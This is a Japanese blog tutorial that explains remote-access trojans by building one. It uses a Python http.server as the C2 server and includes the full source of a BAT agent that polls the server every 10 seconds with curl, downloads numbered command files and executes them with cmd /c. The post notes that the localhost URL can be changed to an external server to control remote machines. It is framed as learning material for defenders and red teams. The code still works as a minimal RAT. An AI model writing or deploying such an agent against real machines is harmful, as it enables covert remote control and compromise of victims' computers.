- Published on
マルウェア開発から学ぶマルウェアの動作原理
- Authors
はじめに
本記事では非常にシンプルなマルウェアを作成することでマルウェアの動作原理について学びます。 マルウェアには複数の種類が存在しますが、本記事では最も代表的なマルウェアとして知られる遠隔操作ウイルス(RAT:Remote Access Trojan)について取り扱います。 また、当ブログの免責事項と利用に関する注意については当ブログについてを参照してください。
本記事で作成するマルウェアの概要と要件
マルウェアのイメージを掴むため、サイバー攻撃におけるマルウェアの使われ方からマルウェアの概要を説明します。
一般的な標的型攻撃ではフィッシングメールなどによってマルウェアを攻撃対象者(企業の従業員など)へ送信し、誘導された攻撃対象者がマルウェアを実行することで攻撃対象者の端末がマルウェア感染します。 マルウェア感染後は攻撃者が遠隔操作通信(C2通信)によって端末を遠隔操作し、攻撃者の目的に応じて感染の拡大や情報の窃取・暗号化などを行います。
当記事で取り扱う遠隔操作ウイルスは遠隔操作の指令を行うC2サーバーと端末に感染して攻撃者の指令に従って端末を操作するエージェントによって構成され、C2サーバーとエージェントがC2通信を行うことで、 攻撃者は継続的な遠隔操作を行います。
C2通信ではC2サーバーから実行したいコマンドなどがHTTPなどのプロトコルを使用して配信され、これをエージェントが受け取り端末上で実行します。 この際、エージェントでは通常のWebサイトへのアクセスと同様にアウトバウンド通信が使用されるため、攻撃者は外部から直接到達できないローカルネットワーク内の端末に対しても干渉することが可能です。
今回開発するマルウェアも同様であり、HTTPサーバーと一定時間ごとにリクエストを送信し、コマンドを受け取るエージェントによって遠隔操作を再現します。
今回開発するマルウェアの要件を以下に示します。
C2サーバー
- HTTPプロトコルでコマンドを配信するWebサーバーとする
- Webサーバーではエージェントに対して実行させるコマンドを記載したテキストファイルをデプロイすることでコマンドを配信する
- 配信するテキストファイルのファイル名は「cmd000.txt」、「cmd001.txt」、「cmd002.txt」、…と定義し、ファイル名に含まれる番号の順にファイル内に記載されたコマンドが実行される
エージェント
簡略化のため形式BATのスクリプトでマルウェアを作成する
※実際のサイバー攻撃ではRust、Go、Pythonなどのプログラミング言語で作成したマルウェアが使用され、複雑な処理が行えないBATは実用的ではありません。
C2サーバーに対して10秒に1回の頻度でリクエストを送信し、コマンドが記載されたテキストファイルを受け取る
受け取ったコマンドはコマンドプロンプト(cmd)により実行する
簡略化のため、受け取ったコマンド実行のみを行い、実行結果はC2サーバーに返さない
C2サーバーの構築
今回作成するC2サーバーはテキストファイルを配信するのみの非常に単純な構成です。
C2サーバーはPythonのhttp.serverを使用するため、C2サーバーの実行環境でPythonをインストールしてください。
Pythonインストール後はフォルダを作成し、Python -m http.serverを実行するのみでテキストファイルを配信するWebサーバーを構築することができます。
以下の例では.\C2server配下にコマンドを記載したテキストファイルをデプロイしてコマンド配信します。
PS C:\Users\user> cd Desktop
PS C:\Users\user\Desktop> mkdir C2Server
PS C:\Users\user\Desktop> cd C2Server
PS C:\Users\user\Desktop\C2Server> python -m http.server
サーバーを終了する場合はctrl + Cで止めて下さい。
PythonのWebサーバーはセキュリティ面でのリスクがあるため、インターネット上には公開することは避けてください。
エージェントの構築
エージェントはBAT形式のスクリプトとして作成します。
BATファイルの冒頭に付ける@echo offは呪文のようなものです。
setlocal enabledelayedexpansioは遅延展開を有効化するもので、ループ処理中に変数を書き換える必要がある場合に宣言します。 今回はループ処理中にコマンド受け取るファイル名を動的に変更する必要があるため追加します。
@echo off
setlocal enabledelayedexpansion
続いて、10秒に1回ループする構文を作成します。
:LOOP
timeout /t 10 >nul
goto LOOP
以上のループ処理の中にリクエストを送信してコマンドを受け取る処理、受け取ったコマンドを実行する処理を追加することで、C2サーバーから配信したコマンドを実行できるようにします。
リクエストの送信はcmdにデフォルトで実装されているcurlコマンドを使用します。 BATではfor文を使用することで、curlコマンドの実行結果をCMD変数に代入します。
今回はローカルホストのWebサーバーに対してリクエストを送信する構成としていますが、 http://localhost:8000の箇所を任意のURLに書き換えることで、外部のサーバーからコマンドを受け取ることも可能です。
for /f "usebackq delims=" %%A in (`curl -sf http://localhost:8000/%FILE%`) do (
set "CMD=%%A"
)
続いて、コマンドを受け取った場合に実行する処理です。受けとったコマンドが存在しない場合はスキップさせます。
cmd /c !CMD!の箇所は単純に!CMD!とすることも可能ですが、cmd /cに渡すことで、リダイレクトなどの構文にも対応することができ、動作が安定します。
if defined CMD (
cmd /c !CMD!
)
最終的に受け取るファイル名の処理などを追加すると以下のスクリプトとなります。
このスクリプトでは10秒後ごとに「cmd000.txt」、「cmd001.txt」、…と順番にファイルを受け取り、該当するファイルが存在しなければ再度同名のファイルを確認します。
@echo off
setlocal enabledelayedexpansion
set INDEX=0
:LOOP
set PAD=000%INDEX%
set FILE=cmd!PAD:~-3!.txt
set "CMD="
for /f "usebackq delims=" %%A in (`curl -sf http://localhost:8000/%FILE%`) do (
set "CMD=%%A"
)
if defined CMD (
cmd /c !CMD!
set /a INDEX+=1
)
timeout /t 10 >nul
goto LOOP
exit /b 0
動作確認
C2サーバー上にcmd000.txtとcmd001.txtをデプロイして動作確認を行います。
whoami
hostname
C2サーバーを起動した状態でagent.batをエクスプローラーからダブルクリックしてエージェントを起動します。 エージェントを終了する際はctrl + Cで止めてください。
ポップアップしたコマンドプロンプトの画面上ではコマンドの実行結果が表示され、デプロイしたコマンドが正常に実行されていることがわかります。 エージェント実行中はC2サーバー上にファイルをデプロイすることで、追加でコマンドを実行させることが可能です。

PythonのHTTPサーバーのログからはエージェントから10秒おきにリクエストが送信されていることがわかります。

さいごに
世の中には様々な種類の遠隔操作型マルウェアが存在しますが、基本となる動作は今回作成したスクリプトと同じです。 この記事からマルウェアの動作原理を理解し、セキュリティ対策やレッドーチームの技術力強化に役立ててください。
本記事が役に立ったと感じていただけたら、Xなどで共有していただけると励みになります。 今後もセキュリティに関する技術的な内容を発信していく予定ですので、ぜひチェックしてください。